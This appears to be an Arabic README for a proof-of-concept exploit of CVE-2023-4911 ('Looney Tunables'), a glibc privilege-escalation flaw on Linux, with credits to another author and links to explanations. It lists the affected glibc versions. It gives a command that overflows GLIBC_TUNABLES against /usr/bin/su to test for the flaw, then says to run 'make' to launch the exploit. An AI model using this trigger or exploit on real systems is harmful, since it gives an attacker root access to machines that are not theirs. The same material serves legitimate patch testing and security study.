CVE-2023-4911

هذا هو PoC (إثبات المفهوم) لثغرة Looney Tunables لتصعيد الامتيازات في لينكس. يعتمد هذا على هذا الـ PoC. شكرًا جزيلًا لـ leesh3288. هنا يمكنك العثور على شرح مفصّل جدًا، وهنا يمكنك مشاهدة فيديو رائع من IppSec.

الاستخدام

تحقق مما إذا كان النظام عرضة للثغرة

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

من الجدير بالذكر أن إصدارات glibc المعرّضة للثغرة، بما فيها هذا الإصدار، هي من 2.35-0ubuntu3.3 وما دون.

شغّل الاستغلال

$ make